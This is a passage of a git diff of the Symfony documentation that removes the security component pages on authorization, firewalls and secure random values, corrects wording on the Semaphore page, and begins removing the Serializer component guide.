``switch_user`` firewall listener. - -The ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` event is triggered when a token has been deauthenticated -because of a user change, it can help you doing some clean-up task when a logout has been triggered. - -.. seealso:: - - For more information on switching users, see - :doc:`/security/impersonating_user`. - -.. _`CVE-2013-5750`: https://symfony.com/blog/cve-2013-5750-security-issue-in-fosuserbundle-login-form diff --git a/components/security/authorization.rst b/components/security/authorization.rst deleted file mode 100644 index c074cf14b75..00000000000 --- a/components/security/authorization.rst +++ /dev/null @@ -1,281 +0,0 @@ -.. index:: - single: Security, Authorization - -Authorization -============= - -When any of the authentication providers (see :ref:`authentication_providers`) -has verified the still-unauthenticated token, an authenticated token will -be returned. The authentication listener should set this token directly -in the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorageInterface` -using its :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorageInterface::setToken` -method. - -From then on, the user is authenticated, i.e. identified. Now, other parts -of the application can use the token to decide whether or not the user may -request a certain URI, or modify a certain object. This decision will be made -by an instance of :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface`. - -An authorization decision will always be based on a few things: - -* The current token - For instance, the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoleNames` - method may be used to retrieve the roles of the current user (e.g. - ``ROLE_SUPER_ADMIN``), or a decision may be based on the class of the token. -* A set of attributes - Each attribute stands for a certain right the user should have, e.g. - ``ROLE_ADMIN`` to make sure the user is an administrator. -* An object (optional) - Any object for which access control needs to be checked, like - an article or a comment object. - -.. _components-security-access-decision-manager: - -Access Decision Manager ------------------------ - -Since deciding whether or not a user is authorized to perform a certain -action can be a complicated process, the standard :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManager` -itself depends on multiple voters, and makes a final verdict based on all -the votes (either positive, negative or neutral) it has received. It -recognizes several strategies: - -``affirmative`` (default) - grant access as soon as there is one voter granting access; - -``consensus`` - grant access if there are more voters granting access than there are denying; - -``unanimous`` - only grant access if none of the voters has denied access. If all voters - abstained from voting, the decision is based on the ``allow_if_all_abstain`` - config option (which defaults to ``false``). - -``priority`` - grants or denies access by the first voter that does not abstain; - - .. versionadded:: 5.1 - - The ``priority`` version strategy was introduced in Symfony 5.1. - -Usage of the available options in detail:: - - use Symfony\Component\Security\Core\Authorization\AccessDecisionManager; - - // instances of Symfony\Component\Security\Core\Authorization\Voter\VoterInterface - $voters = [...]; - - // one of "affirmative", "consensus", "unanimous", "priority" - $strategy = ...; - - // whether or not to grant access when all voters abstain - $allowIfAllAbstainDecisions = ...; - - // whether or not to grant access when there is no majority (applies only to the "consensus" strategy) - $allowIfEqualGrantedDeniedDecisions = ...; - - $accessDecisionManager = new AccessDecisionManager( - $voters, - $strategy, - $allowIfAllAbstainDecisions, - $allowIfEqualGrantedDeniedDecisions - ); - -.. seealso:: - - You can change the default strategy in the - :ref:`configuration <security-voters-change-strategy>`. - -Voters ------- - -Voters are instances -of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface`, -which means they have to implement a few methods which allows the decision -manager to use them: - -``vote(TokenInterface $token, $object, array $attributes)`` - this method will do the actual voting and return a value equal to one - of the class constants of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface`, - i.e. ``VoterInterface::ACCESS_GRANTED``, ``VoterInterface::ACCESS_DENIED`` - or ``VoterInterface::ACCESS_ABSTAIN``; - -The Security component contains some standard voters which cover many use -cases: - -AuthenticatedVoter -~~~~~~~~~~~~~~~~~~ - -The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\AuthenticatedVoter` -voter supports the attributes ``IS_AUTHENTICATED_FULLY``, -``IS_AUTHENTICATED_REMEMBERED``, ``IS_AUTHENTICATED_ANONYMOUSLY``, -to grant access based on the current level of authentication, i.e. is the -user fully authenticated, or only based on a "remember-me" cookie, or even -authenticated anonymously? - -It also supports the attributes ``IS_ANONYMOUS``, ``IS_REMEMBERED``, -``IS_IMPERSONATED`` to grant access based on a specific state of -authentication. - -.. versionadded:: 5.1 - - The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATED`` - attributes were introduced in Symfony 5.1. - -:: - - use Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolver; - - $trustResolver = new AuthenticationTrustResolver(); - - $authenticatedVoter = new AuthenticatedVoter($trustResolver); - - // instance of Symfony\Component\Security\Core\Authentication\Token\TokenInterface - $token = ...; - - // any object - $object = ...; - - $vote = $authenticatedVoter->vote($token, $object, ['IS_AUTHENTICATED_FULLY']); - -RoleVoter -~~~~~~~~~ - -The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleVoter` -supports attributes starting with ``ROLE_`` and grants access to the user -when at least one required ``ROLE_*`` attribute can be found in the array of -roles returned by the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoleNames` -method:: - - use Symfony\Component\Security\Core\Authorization\Voter\RoleVoter; - - $roleVoter = new RoleVoter('ROLE_'); - - $roleVoter->vote($token, $object, ['ROLE_ADMIN']); - -RoleHierarchyVoter -~~~~~~~~~~~~~~~~~~ - -The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleHierarchyVoter` -extends :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleVoter` -and provides some additional functionality: it knows how to handle a -hierarchy of roles. For instance, a ``ROLE_SUPER_ADMIN`` role may have sub-roles -``ROLE_ADMIN`` and ``ROLE_USER``, so that when a certain object requires the -user to have the ``ROLE_ADMIN`` role, it grants access to users who in fact -have the ``ROLE_ADMIN`` role, but also to users having the ``ROLE_SUPER_ADMIN`` -role:: - - use Symfony\Component\Security\Core\Authorization\Voter\RoleHierarchyVoter; - use Symfony\Component\Security\Core\Role\RoleHierarchy; - - $hierarchy = [ - 'ROLE_SUPER_ADMIN' => ['ROLE_ADMIN', 'ROLE_USER'], - ]; - - $roleHierarchy = new RoleHierarchy($hierarchy); - - $roleHierarchyVoter = new RoleHierarchyVoter($roleHierarchy); - -ExpressionVoter -~~~~~~~~~~~~~~~ - -The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\ExpressionVoter` -grants access based on the evaluation of expressions created with the -:doc:`ExpressionLanguage component </components/expression_language>`. These -expressions have access to a number of -:ref:`special security variables <security-expression-variables>`:: - - use Symfony\Component\ExpressionLanguage\Expression; - use Symfony\Component\Security\Core\Authorization\Voter\ExpressionVoter; - - // Symfony\Component\Security\Core\Authorization\ExpressionLanguage; - $expressionLanguage = ...; - - // instance of Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolverInterface - $trustResolver = ...; - - // Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface - $authorizationChecker = ...; - - $expressionVoter = new ExpressionVoter($expressionLanguage, $trustResolver, $authorizationChecker); - - // instance of Symfony\Component\Security\Core\Authentication\Token\TokenInterface - $token = ...; - - // any object - $object = ...; - - $expression = new Expression( - '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())' - ) - - $vote = $expressionVoter->vote($token, $object, [$expression]); - -.. note:: - - When you make your own voter, you can use its constructor to inject any - dependencies it needs to come to a decision. - -Roles ------ - -Roles are strings that give expression to a certain right the user has (e.g. -*"edit a blog post"*, *"create an invoice"*). You can freely choose those -strings. The only requirement is that they must start with the ``ROLE_`` prefix -(e.g. ``ROLE_POST_EDIT``, ``ROLE_INVOICE_CREATE``). - -Using the Decision Manager --------------------------- - -The Access Listener -~~~~~~~~~~~~~~~~~~~ - -The access decision manager can be used at any point in a request to decide whether -or not the current user is entitled to access a given resource. One optional, -but useful, method for restricting access based on a URL pattern is the -:class:`Symfony\\Component\\Security\\Http\\Firewall\\AccessListener`, -which is one of the firewall listeners (see :ref:`firewall_listeners`) that -is triggered for each request matching the firewall map (see :ref:`firewall`). - -It uses an access map (which should be an instance of :class:`Symfony\\Component\\Security\\Http\\AccessMapInterface`) -which contains request matchers and a corresponding set of attributes that -are required for the current user to get access to the application:: - - use Symfony\Component\HttpFoundation\RequestMatcher; - use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage; - use Symfony\Component\Security\Http\AccessMap; - use Symfony\Component\Security\Http\Firewall\AccessListener; - - $accessMap = new AccessMap(); - $tokenStorage = new TokenStorage(); - $requestMatcher = new RequestMatcher('^/admin'); - $accessMap->add($requestMatcher, ['ROLE_ADMIN']); - - $accessListener = new AccessListener( - $tokenStorage, - $accessDecisionManager, - $accessMap, - $authenticationManager - ); - -Authorization Checker -~~~~~~~~~~~~~~~~~~~~~ - -The access decision manager is also available to other parts of the application -via the :method:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationChecker::isGranted` -method of the :class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationChecker`. -A call to this method will directly delegate the question to the access -decision manager:: - - use Symfony\Component\Security\Core\Authorization\AuthorizationChecker; - use Symfony\Component\Security\Core\Exception\AccessDeniedException; - - $authorizationChecker = new AuthorizationChecker( - $tokenStorage, - $authenticationManager, - $accessDecisionManager - ); - - if (!$authorizationChecker->isGranted('ROLE_ADMIN')) { - throw new AccessDeniedException(); - } diff --git a/components/security/firewall.rst b/components/security/firewall.rst deleted file mode 100644 index adb0fae6e4a..00000000000 --- a/components/security/firewall.rst +++ /dev/null @@ -1,164 +0,0 @@ -.. index:: - single: Security, Firewall - -The Firewall and Authorization -============================== - -Central to the Security component is authorization. This is handled by an instance -of :class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`. -When all steps in the process of authenticating the user have been taken successfully, -you can ask the authorization checker if the authenticated user has access to a -certain action or resource of the application:: - - use Symfony\Component\Security\Core\Authorization\AuthorizationChecker; - use Symfony\Component\Security\Core\Exception\AccessDeniedException; - - // instance of Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface - $tokenStorage = ...; - - // instance of Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface - $authenticationManager = ...; - - // instance of Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface - $accessDecisionManager = ...; - - $authorizationChecker = new AuthorizationChecker( - $tokenStorage, - $authenticationManager, - $accessDecisionManager - ); - - // ... authenticate the user - - if (!$authorizationChecker->isGranted('ROLE_ADMIN')) { - throw new AccessDeniedException(); - } - -.. note:: - - Read the dedicated articles to learn more about :doc:`/components/security/authentication` - and :doc:`/components/security/authorization`. - -.. _firewall: - -A Firewall for HTTP Requests ----------------------------- - -Authenticating a user is done by the firewall. An application may have -multiple secured areas, so the firewall is configured using a map of these -secured areas. For each of these areas, the map contains a request matcher -and a collection of listeners. The request matcher gives the firewall the -ability to find out if the current request points to a secured area. -The listeners are then asked if the current request can be used to authenticate -the user:: - - use Symfony\Component\HttpFoundation\RequestMatcher; - use Symfony\Component\Security\Http\Firewall\ExceptionListener; - use Symfony\Component\Security\Http\FirewallMap; - - $firewallMap = new FirewallMap(); - - $requestMatcher = new RequestMatcher('^/secured-area/'); - - // array of callables - $listeners = [...]; - - $exceptionListener = new ExceptionListener(...); - - $firewallMap->add($requestMatcher, $listeners, $exceptionListener); - -The firewall map will be given to the firewall as its first argument, together -with the event dispatcher that is used by the :class:`Symfony\\Component\\HttpKernel\\HttpKernel`:: - - use Symfony\Component\HttpKernel\KernelEvents; - use Symfony\Component\Security\Http\Firewall; - - // the EventDispatcher used by the HttpKernel - $dispatcher = ...; - - $firewall = new Firewall($firewallMap, $dispatcher); - - $dispatcher->addListener( - KernelEvents::REQUEST, - [$firewall, 'onKernelRequest'] - ); - -The firewall is registered to listen to the ``kernel.request`` event that -will be dispatched by the HttpKernel at the beginning of each request -it processes. This way, the firewall may prevent the user from going any -further than allowed. - -Firewall Config -~~~~~~~~~~~~~~~ - -The information about a given firewall, such as its name, provider, context, -entry point and access denied URL, is provided by instances of the -:class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallConfig` class. - -This object can be accessed through the ``getFirewallConfig(Request $request)`` -method of the :class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallMap` class and -through the ``getConfig()`` method of the -:class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallContext` class. - -.. _firewall_listeners: - -Firewall Listeners -~~~~~~~~~~~~~~~~~~ - -When the firewall gets notified of the ``kernel.request`` event, it asks -the firewall map if the request matches one of the secured areas. The first -secured area that matches the request will return a set of corresponding -firewall listeners (which each is a callable). -These listeners will all be asked to handle the current request. This basically -means: find out if the current request contains any information by which -the user might be authenticated (for instance the Basic HTTP authentication -listener checks if the request has a header called ``PHP_AUTH_USER``). - -Exception Listener -~~~~~~~~~~~~~~~~~~ - -If any of the listeners throws an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`, -the exception listener that was provided when adding secured areas to the -firewall map will jump in. - -The exception listener determines what happens next, based on the arguments -it received when it was created. It may start the authentication procedure, -perhaps ask the user to supply their credentials again (when they have only been -authenticated based on a "remember-me" cookie), or transform the exception -into an :class:`Symfony\\Component\\HttpKernel\\Exception\\AccessDeniedHttpException`, -which will eventually result in an "HTTP/1.1 403: Access Denied" response. - -Entry Points -~~~~~~~~~~~~ - -When the user is not authenticated at all (i.e. when the token storage -has no token yet), the firewall's entry point will be called to "start" -the authentication process. An entry point should implement -:class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`, -which has only one method: :method:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface::start`. -This method receives the current :class:`Symfony\\Component\\HttpFoundation\\Request` -object and the exception by which the exception listener was triggered. -The method should return a :class:`Symfony\\Component\\HttpFoundation\\Response` -object. This could be, for instance, the page containing the login form or, -in the case of Basic HTTP authentication, a response with a ``WWW-Authenticate`` -header, which will prompt the user to supply their username and password. - -Flow: Firewall, Authentication, Authorization ---------------------------------------------- - -Hopefully you can now see a little bit about how the "flow" of the security -context works: - -#. The Firewall is registered as a listener on the ``kernel.request`` event; -#. At the beginning of the request, the Firewall checks the firewall map - to see if any firewall should be active for this URL; -#. If a firewall is found in the map for this URL, its listeners are notified; -#. Each listener checks to see if the current request contains any authentication - information - a listener may (a) authenticate a user, (b) throw an - ``AuthenticationException``, or (c) do nothing (because there is no - authentication information on the request); -#. Once a user is authenticated, you'll use :doc:`/components/security/authorization` - to deny access to certain resources. - -Read the next articles to find out more about :doc:`/components/security/authentication` -and :doc:`/components/security/authorization`. diff --git a/components/security/secure_tools.rst b/components/security/secure_tools.rst deleted file mode 100644 index a9d6e0fec3a..00000000000 --- a/components/security/secure_tools.rst +++ /dev/null @@ -1,56 +0,0 @@ -Securely Generating Random Values -================================= - -The Symfony Security component comes with a collection of nice utilities -related to security. These utilities are used by Symfony, but you should -also use them if you want to solve the problem they address. - -.. note:: - - The functions described in this article were introduced in PHP 5.6 or 7. - For older PHP versions, a polyfill is provided by the - `Symfony Polyfill Component`_. - -Comparing Strings -~~~~~~~~~~~~~~~~~ - -The time it takes to compare two strings depends on their differences. This -can be used by an attacker when the two strings represent a password for -instance; it is known as a `Timing attack`_. - -When comparing two passwords, you should use the :phpfunction:`hash_equals` -function:: - - if (hash_equals($knownString, $userInput)) { - // ... - } - -Generating a Secure Random String -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Whenever you need to generate a secure random string, you are highly -encouraged to use the :phpfunction:`random_bytes` function:: - - $random = random_bytes(10); - -The function returns a random string, suitable for cryptographic use, of -the number bytes passed as an argument (10 in the above example). - -.. tip:: - - The ``random_bytes()`` function returns a binary string which may contain - the ``\0`` character. This can cause trouble in several common scenarios, - such as storing this value in a database or including it as part of the - URL. The solution is to hash the value returned by ``random_bytes()`` with - a hashing function such as :phpfunction:`md5` or :phpfunction:`sha1`. - -Generating a Secure Random Number -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -If you need to generate a cryptographically secure random integer, you should -use the :phpfunction:`random_int` function:: - - $random = random_int(1, 10); - -.. _`Timing attack`: https://en.wikipedia.org/wiki/Timing_attack -.. _`Symfony Polyfill Component`: https://github.com/symfony/polyfill diff --git a/components/semaphore.rst b/components/semaphore.rst index 5f26c781164..5715b426053 100644 --- a/components/semaphore.rst +++ b/components/semaphore.rst @@ -1,17 +1,9 @@ -.. index:: - single: Semaphore - single: Components; Semaphore - The Semaphore Component ======================= The Semaphore Component manages `semaphores`_, a mechanism to provide exclusive access to a shared resource. -.. versionadded:: 5.2 - - The Semaphore Component was introduced in Symfony 5.2. - Installation ------------ @@ -45,7 +37,7 @@ class, which in turn requires another class to manage the storage:: The semaphore is created by calling the :method:`Symfony\\Component\\Semaphore\\SemaphoreFactory::createSemaphore` method. Its first argument is an arbitrary string that represents the locked -resource. Its second argument is the maximum number of process allowed. Then, a +resource. Its second argument is the maximum number of processes allowed. Then, a call to the :method:`Symfony\\Component\\Semaphore\\SemaphoreInterface::acquire` method will try to acquire the semaphore:: @@ -54,7 +46,7 @@ method will try to acquire the semaphore:: if ($semaphore->acquire()) { // The resource "pdf-invoice-generation" is locked. - // You can compute and generate invoice safely here. + // Here you can safely compute and generate the invoice. $semaphore->release(); } @@ -76,6 +68,6 @@ already acquired. If you don't release the semaphore explicitly, it will be released automatically on instance destruction. In some cases, it can be useful to lock a resource across several requests. To disable the automatic release - behavior, set the fifth argument of the ``createLock()`` method to ``false``. + behavior, set the fifth argument of the ``createSemaphore()`` method to ``false``. .. _`semaphores`: https://en.wikipedia.org/wiki/Semaphore_(programming) diff --git a/components/serializer.rst b/components/serializer.rst deleted file mode 100644 index a1a69ed65f5..00000000000 --- a/components/serializer.rst +++ /dev/null @@ -1,1603 +0,0 @@ -.. index:: - single: Serializer - single: Components; Serializer - -The Serializer Component -======================== - - The Serializer component is meant to be used to turn objects into a - specific format (XML, JSON, YAML, ...) and the other way around. - -In order to do so, the Serializer component follows the following schema. - -.. raw:: html - - <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"></object> - -As you can see in the picture above, an array is used as an intermediary between -objects and serialized contents. This way, encoders will only deal with turning -specific **formats** into **arrays** and vice versa. The same way, Normalizers -will deal with turning specific **objects** into **arrays** and vice versa. - -Serialization is a complex topic. This component may not cover all your use cases out of the box, -but it can be useful for developing tools to serialize and deserialize your objects. - -Installation ------------- - -.. code-block:: terminal - - $ composer require symfony/serializer - -.. include:: /components/require_autoload.rst.inc - -To use the ``ObjectNormalizer``, the :doc:`PropertyAccess component </components/property_access>` -must also be installed. - -Usage ------ - -.. seealso:: - - This article explains the philosophy of the Serializer and gets you familiar - with the concepts of normalizers and encoders. The code examples assume - that you use the Serializer as an independent component. If you are using - the Serializer in a Symfony application, read :doc:`/serializer` after you - finish this article. - -To use the Serializer component, set up the -:class:`Symfony\\Component\\Serializer\\Serializer` specifying which encoders -and normalizer are going to be available:: - - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Encoder\XmlEncoder; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $encoders = [new XmlEncoder(), new JsonEncoder()]; - $normalizers = [new ObjectNormalizer()]; - - $serializer = new Serializer($normalizers, $encoders); - -The preferred normalizer is the -:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`, -but other normalizers are available. All the examples shown below use -the ``ObjectNormalizer``. - -Serializing an Object ---------------------- - -For the sake of this example, assume the following class already -exists in your project:: - - namespace App\Model; - - class Person - { - private $age; - private $name; - private $sportsperson; - private $createdAt; - - // Getters - public function getName() - { - return $this->name; - } - - public function getAge() - { - return $this->age; - } - - public function getCreatedAt() - { - return $this->createdAt; - } - - // Issers - public function isSportsperson() - { - return $this->sportsperson; - } - - // Setters - public function setName($name) - { - $this->name = $name; - } - - public function setAge($age) - { - $this->age = $age; - } - - public function setSportsperson($sportsperson) - { - $this->sportsperson = $sportsperson; - } - - public function setCreatedAt($createdAt) - { - $this->createdAt = $createdAt; - } - } - -Now, if you want to serialize this object into JSON, you only need to -use the Serializer service created before:: - - use App\Model\Person; - - $person = new Person(); - $person->setName('foo'); - $person->setAge(99); - $person->setSportsperson(false); - - $jsonContent = $serializer->serialize($person, 'json'); - - // $jsonContent contains {"name":"foo","age":99,"sportsperson":false,"createdAt":null} - - echo $jsonContent; // or return it in a Response - -The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize` -is the object to be serialized and the second is used to choose the proper encoder, -in this case :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`. - -Deserializing an Object ------------------------ - -You'll now learn how to do the exact opposite. This time, the information -of the ``Person`` class would be encoded in XML format:: - - use App\Model\Person; - - $data = <<<EOF - <person> - <name>foo</name> - <age>99</age> - <sportsperson>false</sportsperson> - </person> - EOF; - - $person = $serializer->deserialize($data, Person::class, 'xml'); - -In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize` -needs three parameters: - -#. The information to be decoded -#. The name of the class this information will be decoded to -#. The encoder used to convert that information into an array - -By default, additional attributes that are not mapped to the denormalized object -will be ignored by the Serializer component. If you prefer to throw an exception -when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` context option to -``false`` and provide an object that implements ``ClassMetadataFactoryInterface`` -when constructing the normalizer:: - - $data = <<<EOF - <person> - <name>foo</name> - <age>99</age> - <city>Paris</city> - </person> - EOF; - - // $loader is any of the valid loaders explained later in this article - $classMetadataFactory = new ClassMetadataFactory($loader); - $normalizer = new ObjectNormalizer($classMetadataFactory); - $serializer = new Serializer([$normalizer]); - - // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException - // because "city" is not an attribute of the Person class - $person = $serializer->deserialize($data, 'App\Model\Person', 'xml', [ - AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false, - ]); - -Deserializing in an Existing Object -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -The serializer can also be used to update an existing object:: - - // ... - $person = new Person(); - $person->setName('bar'); - $person->setAge(99); - $person->setSportsperson(true); - - $data = <<<EOF - <person> - <name>foo</name> - <age>69</age> - </person> - EOF; - - $serializer->deserialize($data, Person::class, 'xml', [AbstractNormalizer::OBJECT_TO_POPULATE => $person]); - // $person = App\Model\Person(name: 'foo', age: '69', sportsperson: true) - -This is a common need when working with an ORM. - -The ``AbstractNormalizer::OBJECT_TO_POPULATE`` is only used for the top level object. If that object -is the root of a tree structure, all child elements that exist in the -normalized data will be re-created with new instances. - -When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` option is set to -true, existing children of the root ``OBJECT_TO_POPULATE`` are updated from the -normalized data, instead of the denormalizer re-creating them. Note that -``DEEP_OBJECT_TO_POPULATE`` only works for single child objects, but not for -arrays of objects. Those will still be replaced when present in the normalized -data. - -.. _component-serializer-attributes-groups: - -Attributes Groups ------------------ - -Sometimes, you want to serialize different sets of attributes from your -entities. Groups are a handy way to achieve this need. - -Assume you have the following plain-old-PHP object:: - - namespace Acme; - - class MyObj - { - public $foo; - - private $bar; - - public function getBar() - { - return $this->bar; - } - - public function setBar($bar) - { - return $this->bar = $bar; - } - } - -The definition of serialization can be specified using annotations, XML -or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory` -that will be used by the normalizer must be aware of the format to use. - -The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory` -for each format: - -* Annotations in PHP files:: - - use Doctrine\Common\Annotations\AnnotationReader; - use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader; - - $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader())); - -* YAML files:: - - use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\YamlFileLoader; - - $classMetadataFactory = new ClassMetadataFactory(new YamlFileLoader('/path/to/your/definition.yaml')); - -* XML files:: - - use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\XmlFileLoader; - - $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml')); - -.. _component-serializer-attributes-groups-annotations: - -Then, create your groups definition: - -.. configuration-block:: - - .. code-block:: php-annotations - - namespace Acme; - - use Symfony\Component\Serializer\Annotation\Groups; - - class MyObj - { - /** - * @Groups({"group1", "group2"}) - */ - public $foo; - - /** - * @Groups("group3") - */ - public function getBar() // is* methods are also supported - { - return $this->bar; - } - - // ... - } - - .. code-block:: yaml - - Acme\MyObj: - attributes: - foo: - groups: ['group1', 'group2'] - bar: - groups: ['group3'] - - .. code-block:: xml - - <?xml version="1.0" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="Acme\MyObj"> - <attribute name="foo"> - <group>group1</group> - <group>group2</group> - </attribute> - - <attribute name="bar"> - <group>group3</group> - </attribute> - </class> - </serializer> - -You are now able to serialize only attributes in the groups you want:: - - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $obj = new MyObj(); - $obj->foo = 'foo'; - $obj->setBar('bar'); - - $normalizer = new ObjectNormalizer($classMetadataFactory); - $serializer = new Serializer([$normalizer]); - - $data = $serializer->normalize($obj, null, ['groups' => 'group1']); - // $data = ['foo' => 'foo']; - - $obj2 = $serializer->denormalize( - ['foo' => 'foo', 'bar' => 'bar'], - 'MyObj', - null, - ['groups' => ['group1', 'group3']] - ); - // $obj2 = MyObj(foo: 'foo', bar: 'bar') - -.. _ignoring-attributes-when-serializing: - -Selecting Specific Attributes ------------------------------ - -It is also possible to serialize only a set of specific attributes:: - - use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - class User - { - public $familyName; - public $givenName; - public $company; - } - - class Company - { - public $name; - public $address; - } - - $company = new Company(); - $company->name = 'Les-Tilleuls.coop'; - $company->address = 'Lille, France'; - - $user = new User(); - $user->familyName = 'Dunglas'; - $user->givenName = 'Kévin'; - $user->company = $company; - - $serializer = new Serializer([new ObjectNormalizer()]); - - $data = $serializer->normalize($user, null, [AbstractNormalizer::ATTRIBUTES => ['familyName', 'company' => ['name']]]); - // $data = ['familyName' => 'Dunglas', 'company' => ['name' => 'Les-Tilleuls.coop']]; - -Only attributes that are not ignored (see below) are available. -If some serialization groups are set, only attributes allowed by those groups can be used. - -As for groups, attributes can be selected during both the serialization and deserialization process. - -Ignoring Attributes -------------------- - -All attributes are included by default when serializing objects. There are two -options to ignore some of those attributes. - -Option 1: Using ``@Ignore`` Annotation -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -.. configuration-block:: - - .. code-block:: php-annotations - - namespace App\Model; - - use Symfony\Component\Serializer\Annotation\Ignore; - - class MyClass - { - public $foo; - - /** - * @Ignore() - */ - public $bar; - } - - .. code-block:: yaml - - App\Model\MyClass: - attributes: - bar: - ignore: true - - .. code-block:: xml - - <?xml version="1.0" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="App\Model\MyClass"> - <attribute name="bar"> - <ignore>true</ignore> - </attribute> - </class> - </serializer> - -You can now ignore specific attributes during serialization:: - - use App\Model\MyClass; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $obj = new MyClass(); - $obj->foo = 'foo'; - $obj->bar = 'bar'; - - $normalizer = new ObjectNormalizer($classMetadataFactory); - $serializer = new Serializer([$normalizer]); - - $data = $serializer->normalize($obj); - // $data = ['foo' => 'foo']; - -Option 2: Using the Context -~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Pass an array with the names of the attributes to ignore using the -``AbstractNormalizer::IGNORED_ATTRIBUTES`` key in the ``context`` of the -serializer method:: - - use Acme\Person; - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $person = new Person(); - $person->setName('foo'); - $person->setAge(99); - - $normalizer = new ObjectNormalizer(); - $encoder = new JsonEncoder(); - - $serializer = new Serializer([$normalizer], [$encoder]); - $serializer->serialize($person, 'json', [AbstractNormalizer::IGNORED_ATTRIBUTES => ['age']]); // Output: {"name":"foo"} - -.. _component-serializer-converting-property-names-when-serializing-and-deserializing: - -Converting Property Names when Serializing and Deserializing ------------------------------------------------------------- - -Sometimes serialized attributes must be named differently than properties -or getter/setter methods of PHP classes. - -The Serializer component provides a handy way to translate or map PHP field -names to serialized names: The Name Converter System. - -Given you have the following object:: - - class Company - { - public $name; - public $address; - } - -And in the serialized form, all attributes must be prefixed by ``org_`` like -the following:: - - {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"} - -A custom name converter can handle such cases:: - - use Symfony\Component\Serializer\NameConverter\NameConverterInterface; - - class OrgPrefixNameConverter implements NameConverterInterface - { - public function normalize(string $propertyName) - { - return 'org_'.$propertyName; - } - - public function denormalize(string $propertyName) - { - // removes 'org_' prefix - return 'org_' === substr($propertyName, 0, 4) ? substr($propertyName, 4) : $propertyName; - } - } - -The custom name converter can be 